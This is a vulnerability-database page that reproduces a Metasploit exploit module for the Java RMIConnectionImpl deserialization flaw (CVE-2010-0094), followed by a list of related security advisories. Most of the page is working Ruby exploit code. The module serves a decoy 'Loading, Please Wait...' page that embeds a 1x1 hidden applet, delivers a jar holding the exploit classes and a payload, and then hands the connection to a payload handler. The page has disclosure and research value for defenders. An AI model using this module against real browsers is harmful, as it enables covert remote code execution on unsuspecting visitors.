Java RMIConnectionImpl Deserialization Privilege Escalation Exploit

🗓️ 09 Sep 2010 00:00:00Reported by egyptType

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Java RMIConnectionImpl Deserialization Privilege Escalation Exploit vulnerability in Java Runtime Environment version 6 pre update 19 and version 5 pre update 2

Reporter	Title	Published	Views	Family All 112
IBM Security Bulletins	Security Bulletin: Vulnerability in Oracle Java affects Personal Communications	12 Nov 202412:40	–	ibm
Tenable Nessus	CentOS 5 : java-1.6.0-openjdk (CESA-2010:0339)	14 Jun 201000:00	–	nessus
Tenable Nessus	Fedora 12 : java-1.6.0-openjdk-1.6.0.0-37.b17.fc12 (2010-6025)	1 Jul 201000:00	–	nessus
Tenable Nessus	Fedora 11 : java-1.6.0-openjdk-1.6.0.0-34.b17.fc11 (2010-6039)	1 Jul 201000:00	–	nessus
Tenable Nessus	Fedora 13 : java-1.6.0-openjdk-1.6.0.0-37.b17.fc13 (2010-6279)	1 Jul 201000:00	–	nessus
Tenable Nessus	GLSA-201006-18 : Oracle JRE/JDK: Multiple vulnerabilities	4 Jun 201000:00	–	nessus
Tenable Nessus	Mac OS X : Java for Mac OS X 10.5 Update 7	19 May 201000:00	–	nessus
Tenable Nessus	Mac OS X : Java for Mac OS X 10.6 Update 2	19 May 201000:00	–	nessus
Tenable Nessus	Mandriva Linux Security Advisory : java-1.6.0-openjdk (MDVSA-2010:084)	29 Apr 201000:00	–	nessus
Tenable Nessus	Oracle Linux 5 : java-1.6.0-openjdk (ELSA-2010-0339)	12 Jul 201300:00	–	nessus

`##  
# $Id: java_rmi_connection_impl.rb 10257 2010-09-08 15:23:04Z egypt $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
#  
# Superceded by java_trusted_chain  
#  
#include Msf::Exploit::Remote::BrowserAutopwn  
#autopwn_info({ :javascript => false })  
  
def initialize( info = {} )  
  
super( update_info( info,  
'Name' => 'Java RMIConnectionImpl Deserialization Privilege Escalation Exploit',  
'Description' => %q{  
This module exploits a vulnerability in the Java Runtime Environment  
that allows to deserialize a MarshalledObject containing a custom  
classloader under a privileged context. The vulnerability affects  
version 6 prior to update 19 and version 5 prior to update 23.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Sami Koivu', # Discovery  
'Matthias Kaiser', # PoC  
'egypt' # metasploit module  
],  
'Version' => '$Revision: 10257 $',  
'References' =>  
[  
[ 'CVE', '2010-0094' ],  
[ 'OSVDB', '63484' ],  
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-rmiconnectionimpl-deserialization.html' ],  
],  
'Platform' => [ 'java' ],  
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },  
'Targets' =>  
[  
[ 'Generic (Java Payload)',  
{  
'Arch' => ARCH_JAVA,  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Mar 31 2010'  
))  
end  
  
  
def on_request_uri( cli, request )  
if not request.uri.match(/\.jar$/i)  
if not request.uri.match(/\/$/)  
send_redirect(cli, get_resource() + '/', '')  
return  
end  
  
print_status("Handling request from #{cli.peerhost}:#{cli.peerport}...")  
  
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })  
return  
end  
  
paths = [  
[ "Exploit.class" ],  
[ "Exploit$1.class" ],  
[ "Exploit$1$1.class" ],  
[ "Exploit$2.class" ],  
[ "Payloader.class" ],  
[ "PayloadClassLoader.class" ],  
[ "payload.ser" ],  
]  
  
jar = payload.encoded_jar  
paths.each do |path|  
1.upto(path.length - 1) do |idx|  
full = path[0,idx].join("/") + "/"  
if !(jar.entries.map{|e|e.name}.include?(full))  
jar.add_file(full, '')  
end  
end  
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-0094", path ), "rb")  
data = fd.read(fd.stat.size)  
jar.add_file(path.join("/"), data)  
fd.close  
end  
  
print_status("#{self.name} Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}...")  
send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })  
  
handler(cli)  
end  
  
def generate_html  
html = "<html><head><title>Loading, Please Wait...</title></head>"  
html += "<body><center><p>Loading, Please Wait...</p></center>"  
html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"  
html += "</applet></body></html>"  
return html  
end  
  
end  
`

09 Sep 2010 00:00Current

0.7Low risk

Vulners AI Score0.7

EPSS0.86987